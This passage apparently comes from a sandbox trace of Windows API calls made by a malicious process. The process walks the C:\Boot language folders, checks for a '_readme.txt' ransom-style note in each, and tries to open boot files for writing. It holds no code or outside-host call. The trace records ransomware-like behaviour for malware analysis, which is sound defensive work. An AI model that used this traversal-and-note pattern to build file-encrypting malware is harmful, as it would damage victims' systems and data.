nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.585] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0122.585] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.585] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.585] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned=".txt" [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.585] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.585] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.585] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.585] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.586] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0122.586] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.586] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.586] PathFindFileNameW (pszPath="") returned="" [0122.586] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.586] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.586] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.586] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.587] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0122.587] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0122.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.587] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.587] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.587] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.587] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0122.587] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.589] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.589] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned=".txt" [0122.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.589] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.589] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.589] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.589] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, 